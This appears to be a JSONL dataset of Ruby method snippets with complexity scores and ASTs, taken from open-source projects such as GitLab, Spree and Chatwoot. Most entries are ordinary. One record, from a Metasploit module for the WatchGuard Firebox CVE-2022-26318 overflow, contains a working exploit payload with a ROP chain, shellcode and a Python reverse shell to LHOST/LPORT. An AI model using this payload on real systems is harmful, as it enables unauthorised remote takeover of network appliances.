responding\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[201]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to retrieve page\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Site not responding\"]}]}]}]}]}","id":"1ef851d7-7a3b-4461-8be1-c5cc4e8b2041"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/swap_columns_default.rb","start_line":12,"raw_source":"def initialize(migration_context:, table:, column1:, column2:)\n          @migration_context = migration_context\n          @table = table\n          @column_name1 = column1\n          @column_name2 = column2\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"migration_context\"]},{\"type\":\"kwarg\",\"children\":[\"table\"]},{\"type\":\"kwarg\",\"children\":[\"column1\"]},{\"type\":\"kwarg\",\"children\":[\"column2\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@migration_context\",{\"type\":\"lvar\",\"children\":[\"migration_context\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@table\",{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@column_name1\",{\"type\":\"lvar\",\"children\":[\"column1\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@column_name2\",{\"type\":\"lvar\",\"children\":[\"column2\"]}]}]}]}","id":"3a75afb3-a4ff-4365-8f6b-4a41eb4145a2"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/cart_controller.rb","start_line":72,"raw_source":"def destroy\n            spree_authorize! :update, spree_current_order, order_token\n\n            result = destroy_cart_service.call(order: spree_current_order)\n\n            if result.success?\n              head 204\n            else\n              render_error_payload(result.error)\n            end\n          end","complexity_score":13.63,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_authorize!\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[null,\"spree_current_order\"]},{\"type\":\"send\",\"children\":[null,\"order_token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroy_cart_service\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[null,\"spree_current_order\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"int\",\"children\":[204]}]},{\"type\":\"send\",\"children\":[null,\"render_error_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"error\"]}]}]}]}]}","id":"5d0fd58e-2b8e-49c4-9e87-8adaf4140c2e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/loose_foreign_keys/deleted_record.rb","start_line":81,"raw_source":"def self.update_by_partition(records)\n    update_count = 0\n\n    # Run a query for each partition to optimize the row lookup by primary key (partition, id)\n    records.group_by(&:partition_number).each do |partition, records_within_partition|\n      partitioned_scope = status_pending\n        .for_partition(partition)\n        .where(id: records_within_partition.pluck(:id))\n\n      update_count += yield(partitioned_scope)\n    end\n\n    update_count\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_by_partition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"records\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"update_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"partition_number\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition\"]},{\"type\":\"arg\",\"children\":[\"records_within_partition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"partitioned_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status_pending\"]},\"for_partition\",{\"type\":\"lvar\",\"children\":[\"partition\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records_within_partition\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"update_count\"]},\"+\",{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partitioned_scope\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"update_count\"]}]}]}","id":"275d3e5b-1463-4795-bfd2-f7478b93d06b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/chat_thread.rb","start_line":32,"raw_source":"def notification_level=(level)\n        notifications_button.toggle\n        notifications_button.select_level_id(\n          ::Chat::UserChatThreadMembership.notification_levels[level.to_sym],\n        )\n        has_notification_level?(level)\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"notification_level=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notifications_button\"]},\"toggle\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notifications_button\"]},\"select_level_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"UserChatThreadMembership\"]},\"notification_levels\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]},\"to_sym\"]}]}]},{\"type\":\"send\",\"children\":[null,\"has_notification_level?\",{\"type\":\"lvar\",\"children\":[\"level\"]}]}]}]}","id":"1c27e6c4-4561-4261-a329-3fd14761b9c3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/conversation.rb","start_line":190,"raw_source":"def csat_survey_link\n    \"#{ENV.fetch('FRONTEND_URL', nil)}/survey/responses/#{uuid}\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"csat_survey_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"FRONTEND_URL\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"str\",\"children\":[\"/survey/responses/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uuid\"]}]}]}]}","id":"7ef89bbf-0286-448e-8598-a8a84006587b"}
{"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/core/builder.rb","start_line":100,"raw_source":"def load_plugins(config)\n        PluginLoader.load_all_plugins(config)\n      rescue => e\n        raise ConfigurationError, \"Plugin loading failed: #{e.message}\"\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"load_plugins\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PluginLoader\"]},\"load_all_plugins\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ConfigurationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Plugin loading failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"7e62d415-caa3-45c2-bad4-633c2880ebe3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/dashboard_controller.rb","start_line":51,"raw_source":"def render_hc_if_custom_domain\n    domain = request.host\n    return if domain == URI.parse(ENV.fetch('FRONTEND_URL', '')).host\n\n    @portal = Portal.find_by(custom_domain: domain)\n    return unless @portal\n\n    @locale = @portal.default_locale\n    render 'public/api/v1/portals/show', layout: 'portal', portal: @portal and return\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"render_hc_if_custom_domain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"host\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"FRONTEND_URL\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"host\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"ivasgn\",\"children\":[\"@portal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Portal\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@portal\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@locale\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@portal\"]},\"default_locale\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"public/api/v1/portals/show\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"portal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"portal\"]},{\"type\":\"ivar\",\"children\":[\"@portal\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]}]}","id":"157c251b-0279-4553-8536-cedaf14f7e6f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.rb","start_line":89,"raw_source":"def create_bof_payload\n    # temporary filename in /tmp where python payload will be stored.\n    @py_fname = \"/tmp/#{Rex::Text.rand_text_alphanumeric(4)}.py\"\n    # xml overflow payload\n    payload = '<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><'.encode\n    payload << ('A' * 3181).encode\n    payload << 'MFA>'.encode\n    payload << ('<BBBBMFA>' * 3680).encode\n    # padding and rop chain\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 P@\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00h\\xf9@\\x00\\x00\\x00\\x00\\x00 P@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e\\xd6A\\x00\\x00\\x00\\x00\\x00\\xb1\\xd5A\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}^@\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00|^@\\x00\\x00\\x00\\x00\\x00\\xad\\xd2A\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x0e\\xd6A\\x00\\x00\\x00\\x00\\x00\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00*\\xa9@\\x00\\x00\\x00\\x00\\x00H\\x8d=\\x9d\\x00\\x00\\x00\\xbeA\\x02\\x00\\x00\\xba\\xb6\"\n    payload << \"\\x01\\x00\\x00\\xb8\\x02\\x00\\x00\\x00\\x0f\\x05H\\x89\\x05\\x92\\x00\\x00\\x00H\\x8b\\x15\\x93\\x00\\x00\\x00H\\x8d5\\x94\\x00\"\n    payload << \"\\x00\\x00H\\x8b=}\\x00\\x00\\x00\\xb8\\x01\\x00\\x00\\x00\\x0f\\x05H\\x8b=o\\x00\\x00\\x00\\xb8\\x03\\x00\\x00\\x00\\x0f\\x05\\xb8;\"\n    payload << \"\\x00\\x00\\x00H\\x8d=?\\x00\\x00\\x00H\\x89= \\x00\\x00\\x00H\\x8d5A\\x00\\x00\\x00H\\x895\\x1a\\x00\\x00\\x00H\\x8d5\\x0b\\x00\"\n    payload << \"\\x00\\x001\\xd2\\x0f\\x05\\xb8<\\x00\\x00\\x00\\x0f\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    payload << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00#{datastore['SHELL']}\\x00#{@py_fname}\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\"\n    payload << \"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\"\n    # shell code to launch an reverse interactive python shell\n    # The Watchguard appliance has a very restricted linux command set, readonly root filesystem and no unix shells installed\n    # The interactive Python shell (-i) is for now the only way to get shell access\n    payload << 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'.encode\n    payload << \"s.connect((\\\"#{datastore['LHOST']}\\\",#{datastore['LPORT']})); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);\".encode\n    payload << \"call([\\\"#{datastore['SHELL']}\\\",\\\"-i\\\"]);\".encode\n    payload << \"import os; os.remove(\\\"#{@py_fname}\\\");\".encode\n    return Zlib.gzip(payload)\n  end","complexity_score":55.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_bof_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0001\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\"]},\"encode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"s.connect((\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\",\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\")); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);\"]}]},\"encode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"call([\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SHELL\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\",\\\"-i\\\"]);\"]}]},\"encode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"import os; os.remove(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@py_fname\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\"]}]},\"encode\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"gzip\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}","id":"1765369a-f93c-4cdc-98e4-7761e5e81034"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/exchange.rb","start_line":5,"raw_source":"def initialize(order, reimbursement_objects)\n      @order = order\n      @reimbursement_objects = reimbursement_objects\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order\"]},{\"type\":\"arg\",\"children\":[\"reimbursement_objects\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@order\",{\"type\":\"lvar\",\"children\":[\"order\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@reimbursement_objects\",{\"type\":\"lvar\",\"children\":[\"reimbursement_objects\"]}]}]}]}","id":"58b6141b-bfec-4667-8783-d017aa76241b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/roles_controller.rb","start_line":154,"raw_source":"def new_params\n    permitted_params.role? || {}\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"new_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"role?\"]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"409ececa-05a9-4156-ad1e-5f0f6f7b6250"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/env.rb","start_line":147,"raw_source":"def reuse_chrome_profile?\n        enabled?(ENV['CHROME_REUSE_PROFILE'], default: false)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reuse_chrome_profile?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"enabled?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CHROME_REUSE_PROFILE\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"2e11f1b5-82fa-480c-bb97-5608b7bb6304"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_user_role.rb","start_line":27,"raw_source":"def feature_identifiers\n    @feature_identifiers ||= miq_product_features.pluck(:identifier)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"feature_identifiers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@feature_identifiers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_product_features\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"identifier\"]}]}]}]}","id":"3a43d496-0848-460c-bd4f-bad0ccb50129"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/helpers/spree/addresses_helper.rb","start_line":83,"raw_source":"def current_store_supported_countries_ids\n      Spree::Deprecation.warn('current_store_supported_countries_ids is deprecated and will be removed in Spree 5.3')\n\n      @current_store_supported_countries_ids ||= Rails.cache.fetch(['current_store_supported_countries_ids', current_store]) do\n        (current_store_countries_with_states_ids + current_store_countries_without_states_ids).uniq\n      end\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"current_store_supported_countries_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Deprecation\"]},\"warn\",{\"type\":\"str\",\"children\":[\"current_store_supported_countries_ids is deprecated and will be removed in Spree 5.3\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_store_supported_countries_ids\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"current_store_supported_countries_ids\"]},{\"type\":\"send\",\"children\":[null,\"current_store\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store_countries_with_states_ids\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"current_store_countries_without_states_ids\"]}]}]},\"uniq\"]}]}]}]}]}","id":"921ca9cb-6982-49c9-adac-e77acaeba037"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/praefect_manager.rb","start_line":136,"raw_source":"def query_read_distribution\n        cmd = \"docker exec #{@gitlab} bash -c 'curl -s http://localhost:9090/api/v1/query?query=gitaly_praefect_read_distribution'\"\n        output = shell(cmd, stream_progress: false) do |line|\n          QA::Runtime::Logger.debug(line)\n          break line\n        end\n        result = JSON.parse(output)\n\n        raise PrometheusQueryError, \"Unable to query read distribution metrics\" unless result['status'] == 'success'\n\n        raise PrometheusQueryError, \"No read distribution metrics found\" if result['data']['result'].empty?\n\n        result['data']['result'].map { |result| { node: result['metric']['storage'], value: result['value'][1].to_i } }\n      end","complexity_score":28.48,"ast_json":"{\"type\":\"def\",\"children\":[\"query_read_distribution\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"docker exec \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@gitlab\"]}]},{\"type\":\"str\",\"children\":[\" bash -c 'curl -s http://localhost:9090/api/v1/query?query=gitaly_praefect_read_distribution'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell\",{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stream_progress\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"break\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"output\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"success\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"PrometheusQueryError\"]},{\"type\":\"str\",\"children\":[\"Unable to query read distribution metrics\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"result\"]}]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"PrometheusQueryError\"]},{\"type\":\"str\",\"children\":[\"No read distribution metrics found\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"result\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"metric\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"storage\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]}]}]}]}]}","id":"2aefe056-aab4-4c91-ac02-5c46a3824077"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/integrations/hook.rb","start_line":55,"raw_source":"def dialogflow?\n    app_id == 'dialogflow'\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dialogflow?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_id\"]},\"==\",{\"type\":\"str\",\"children\":[\"dialogflow\"]}]}]}","id":"8286dbb6-3662-40fc-8736-c7ecab11d081"}
